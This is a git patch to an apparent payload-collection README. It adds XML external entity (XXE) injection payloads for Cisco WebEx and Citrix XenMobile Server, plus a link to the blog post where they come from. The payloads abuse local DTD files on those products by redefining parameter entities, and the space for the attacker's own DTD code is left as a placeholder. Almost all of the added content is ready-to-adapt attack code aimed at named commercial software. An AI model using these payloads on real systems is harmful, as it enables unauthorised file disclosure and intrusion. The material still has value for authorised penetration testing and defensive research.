From 2d03a7455585fdd9a5d50cbb97e211532b3a8b83 Mon Sep 17 00:00:00 2001
From: gdraperi <33750242+gdraperi@users.noreply.github.com>
Date: Wed, 5 Oct 2022 10:06:21 +0200
Subject: [PATCH] Update README.md

Adding payloads for Citrix and Cisco
---
 XXE Injection/README.md | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/XXE Injection/README.md b/XXE Injection/README.md
index b10c845..a6f5ffa 100644
--- a/XXE Injection/README.md	
+++ b/XXE Injection/README.md	
@@ -388,6 +388,19 @@ Assuming payloads such as the previous return a verbose error. You can start poi
 ]>
 <root></root>
 ```
+### Cisco WebEx
+```
+<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
+<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
+%local_dtd;
+```
+### Citrix XenMobile Server
+```
+<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
+<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
+%local_dtd;
+```
+[Payloads for Cisco and Citrix](https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/)
 
 [Other payloads using different DTDs](https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md)